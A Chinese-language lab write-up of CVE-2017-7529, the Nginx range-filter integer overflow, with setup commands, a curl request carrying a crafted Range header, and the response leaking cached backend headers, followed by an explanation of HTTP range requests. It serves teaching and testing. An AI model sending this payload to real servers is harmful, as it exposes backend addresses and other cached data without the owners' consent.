Nginx

  1. Nginx整数溢出漏洞 CVE-2017-7529
    1. 影响版本
    2. 测试方法
    3. 测试原理

编写进度

Nginx整数溢出漏洞 CVE-2017-7529

当使用nginx标准模块时,攻击者可以通过发送包含恶意构造 range 域的 header 请求,来获取响应中的缓存文件头部信息。在某些配置中,缓存文件头可能包含后端服务器的IP地址或其它敏感信息,从而导致信息泄露。

环境搭建参考 CVE-2017-7529

docker pull medicean/vulapps:n_nginx_1
docker run -d -p 8000:80 medicean/vulapps:n_nginx_1

影响版本

  • Nginx version 0.5.6 - 1.13.2
    该漏洞影响所有 0.5.6 - 1.13.2版本内默认配置模块的Nginx只需要开启缓存攻击者即可发送恶意请求进行远程攻击造成信息泄露。

  • 修复版本 Nginx version 1.13.3, 1.12.1

测试方法

  • 命令行版
    curl -I  http://192.168.43.204:8000/proxy/demo.png -x 127.0.0.1:8080 # 查看文件大小 Content-Length: 16585
    curl命令用法 请参考curl-wget

CVE-2017-7259

测试原理

HTTP Range范围请求-响应包

curl -i   http://192.168.43.204:8000/proxy/demo.png -x 127.0.0.1:8080  -r -17208,-9223372036854758600 
GET /proxy/demo.png HTTP/1.1                      # HTTP版本必须在1.1及以上版本
Host: 192.168.43.204:8000
Range: bytes=-17208,-9223372036854758600          # 指定Range字段
User-Agent: curl/7.64.1
Accept: */*
Connection: close



HTTP/1.1 206 Partial Content                     # 表明服务器正确处理了请求并返回Range指定的数据区间
Server: nginx/1.13.1
Date: Wed, 07 Apr 2021 15:04:48 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000025`   # 多个数据区间用multipart/byteranges; boundary标识
Connection: close
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
X-Proxy-Cache: HIT


--00000000000000000025
Content-Type: image/png                          # 指定媒体类型 
Content-Range: bytes -623-16584/16585            # 标识返回指定文件的部分内容在整个文件中所处的位置

:Ìm`œlYâÉm`ä.åä{v"40c9-5547a060fdf00"
KEY: httpGET192.168.43.204/proxy/demo.png
HTTP/1.1 200 OK
Date: Wed, 07 Apr 2021 15:04:02 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Mon, 17 Jul 2017 02:19:08 GMT
ETag: "40c9-5547a060fdf00"
Accept-Ranges: bytes                           # 表示支持服务器支持范围请求
Content-Length: 16585                          # 标识返回指定文件的部分内容在整个文件中所处的位置
Content-Type: image/png                        # 指定媒体类型
Connection: close

‰PNG


IHDRÌ`rB§iCCPICC ProfileH‰•WXSÉž[R    -)¡w¤Wé½H!    J€„ bG\*"XÑUE×È¢"bgìýŠÊʺX°¡ò&t}í{'ßÜùsæœ3ÿ™œ;™@ц•——*Ã/Dù2“’™¤>€yøqF,¶0Ï'`@ëÿ.ïnDÜ_³Çú×ñÿ*Ê®
%Ja.aQŸ
B (
™”Âœ    M](
B (–øÿ–ÆHs&’*ŽIEND®B`‚
--00000000000000000027
Content-Type: image/png                                               # 指定媒体类型
Content-Range: bytes -9223372036854742015-16584/16585`                 # 标识返回指定文件的部分内容在整个文件中所处的位置

详解

  • 状态码

    • HTTP 206 Partial Content成功状态响应代码表示请求已成功,服务器响应完成且传输了请求指定文件的数据区间,(请求包的 Range 字段指定的,响应包中的Content-Range标识
    • 416 Requested Range Not Satisfiable 表示请求的范围越界(范围值超过了资源的大小)
    • 200 OK 表示服务器不支持范围请求
  • HTTP版本要求 需要HTTP/1.1及以上版本支持

  • 请求包中Range字段 (通过If-Range == ETag 或者 If-Range == Last-Modifled 来区分资源文件是否变动,如果源文件有改动,则重新走下载流程)

    Range: bytes=20- :获取请求中第 20 个字节之后数据;
    Range: bytes= -50 :获取请求中最后 50 个字节的数据;
    Range: bytes=40-100 :获取请求中第 40 个字节到第 100 个字节之间的数据。
    Range: bytes=0-50, 100-150  :获取多个长度的数据
  • 响应包中对应字段

    • Accept-Ranges字段要求 Accept-Ranges: bytes字段则表示支持服务器支持范围请求,(不支持范围请求则为Accept-Ranges: none)
    • Content-Type 说明媒体类型 包含多个数据区间,Content-Type: multipart/byteranges; boundary=0000000xxxx
    • Content-Length 标识指定文件总字节数,
    • Content-Range标识返回指定文件的部分内容在整个文件中所处的位置

参考
CVE-2017-7529
CVE-2017-7529-POC
HTTP range请求
Nginx range 过滤器整形溢出漏洞


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 askding@qq.com

💰

×

Help us with donation